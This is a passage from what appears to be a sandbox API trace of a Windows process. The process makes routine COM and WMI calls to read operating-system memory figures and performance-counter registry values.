This=0x1b350b30, pPrx=0x1b350b68, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0277.908] WbemLocator:IUnknown:Release (This=0x1b350b30) returned 0x3 [0277.908] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x2 [0277.908] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0277.908] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0277.908] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35bd00) returned 0x0 [0277.908] IUnknown:AddRef (This=0x1d35bd00) returned 0x4 [0277.908] IUnknown:Release (This=0x1d35bd00) returned 0x3 [0277.908] IUnknown:Release (This=0x1d35bd00) returned 0x2 [0277.908] IUnknown:Release (This=0x1d35b130) returned 0x2 [0277.908] SysStringLen (param_1=0x0) returned 0x0 [0277.909] IEnumWbemClassObject:Reset (This=0x1d35bd00) returned 0x0 [0277.909] CoTaskMemAlloc (cb=0x8) returned 0x5248c0 [0277.909] IEnumWbemClassObject:Next (in: This=0x1d35bd00, lTimeout=-1, uCount=0x1, apObjects=0x5248c0, puReturned=0x2a80210 | out: apObjects=0x5248c0*=0x1b349b20, puReturned=0x2a80210*=0x1) returned 0x0 [0277.918] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b349b20) returned 0x0 [0277.918] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0277.918] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0277.918] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0277.918] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0277.918] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0277.918] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0277.918] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b349b28) returned 0x0 [0277.918] IMarshal:GetUnmarshalClass (in: This=0x1b349b28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0277.918] IUnknown:Release (This=0x1b349b28) returned 0x3 [0277.918] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0277.919] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0277.919] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0277.919] IUnknown:Release (This=0x1b349b20) returned 0x2 [0277.919] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0277.919] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0277.919] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b349b20) returned 0x0 [0277.919] IUnknown:AddRef (This=0x1b349b20) returned 0x4 [0277.919] IUnknown:Release (This=0x1b349b20) returned 0x3 [0277.919] IUnknown:Release (This=0x1b349b20) returned 0x2 [0277.919] CoTaskMemFree (pv=0x5248c0) [0277.919] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0277.919] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0277.920] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0277.920] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0277.920] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0277.921] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0277.921] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0277.921] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0277.921] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0277.921] IUnknown:Release (This=0x4b0108) returned 0x1 [0277.923] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d496fc0) returned 0x0 [0277.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d496fc0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0277.923] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d496fc0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3c40) returned 0x0 [0277.923] WbemDefPath:IUnknown:Release (This=0x1d496fc0) returned 0x0 [0277.924] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3c40) returned 0x0 [0277.924] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0277.924] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0277.924] WbemDefPath:IUnknown:AddRef (This=0x4f3c40) returned 0x3 [0277.924] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0277.924] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0277.924] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d496e60) returned 0x0 [0277.925] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d496e60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0277.925] WbemDefPath:IUnknown:Release (This=0x1d496e60) returned 0x3 [0277.925] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0277.925] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0277.925] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0277.925] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x2 [0277.925] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x1 [0277.925] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0277.925] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0277.925] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3c40, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3c40) returned 0x0 [0277.925] WbemDefPath:IUnknown:AddRef (This=0x4f3c40) returned 0x3 [0277.925] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x2 [0277.926] WbemDefPath:IWbemPath:SetText (This=0x4f3c40, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0277.926] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0277.926] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0277.926] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0277.926] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0277.926] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0277.926] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0277.926] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a80fd8*=0, plFlavor=0x2a80fdc*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2a80fd8*=21, plFlavor=0x2a80fdc*=0) returned 0x0 [0277.926] SysStringByteLen (bstr="1395304") returned 0xe [0277.926] SysStringByteLen (bstr="1395304") returned 0xe [0277.927] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a80fd8*=21, plFlavor=0x2a80fdc*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x2a80fd8*=21, plFlavor=0x2a80fdc*=0) returned 0x0 [0277.927] SysStringByteLen (bstr="1395304") returned 0xe [0277.927] SysStringByteLen (bstr="1395304") returned 0xe [0277.927] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0277.927] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0277.927] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0277.927] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a811d0*=0, plFlavor=0x2a811d4*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2a811d0*=21, plFlavor=0x2a811d4*=0) returned 0x0 [0277.927] SysStringByteLen (bstr="2096620") returned 0xe [0277.927] SysStringByteLen (bstr="2096620") returned 0xe [0277.928] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a811d0*=21, plFlavor=0x2a811d4*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2a811d0*=21, plFlavor=0x2a811d4*=0) returned 0x0 [0277.928] SysStringByteLen (bstr="2096620") returned 0xe [0277.928] SysStringByteLen (bstr="2096620") returned 0xe [0277.928] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0277.928] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x1 [0277.928] IUnknown:Release (This=0x1d35bd00) returned 0x0 [0279.940] GetTickCount64 () returned 0xabcc5b [0279.941] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0279.942] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x28dab10, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x28dab10*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0279.944] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0279.944] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x28ebf28, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x28ebf28*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0279.948] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0279.948] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0279.948] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0279.948] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0279.948] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0279.948] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0279.948] IUnknown:Release (This=0x4b0108) returned 0x1 [0279.950] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d4970e0) returned 0x0 [0279.950] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4970e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0279.950] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d4970e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d497400) returned 0x0 [0279.950] WbemLocator:IUnknown:Release (This=0x1d4970e0) returned 0x0 [0279.951] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497400, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d497400) returned 0x0 [0279.951] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497400, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0279.951] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497400, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0279.951] WbemLocator:IUnknown:AddRef (This=0x1d497400) returned 0x3 [0279.951] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497400, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0279.951] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497400, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0279.951] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497400, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0279.951] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0279.951] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0279.951] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497400, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0279.951] WbemLocator:IUnknown:Release (This=0x1d497400) returned 0x2 [0279.951] WbemLocator:IUnknown:Release (This=0x1d497400) returned 0x1 [0279.951] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0279.951] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0279.951] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497400, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d497400) returned 0x0 [0279.951] WbemLocator:IUnknown:AddRef (This=0x1d497400) returned 0x3 [0279.951] WbemLocator:IUnknown:Release (This=0x1d497400) returned 0x2 [0279.952] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0279.952] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0279.952] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, 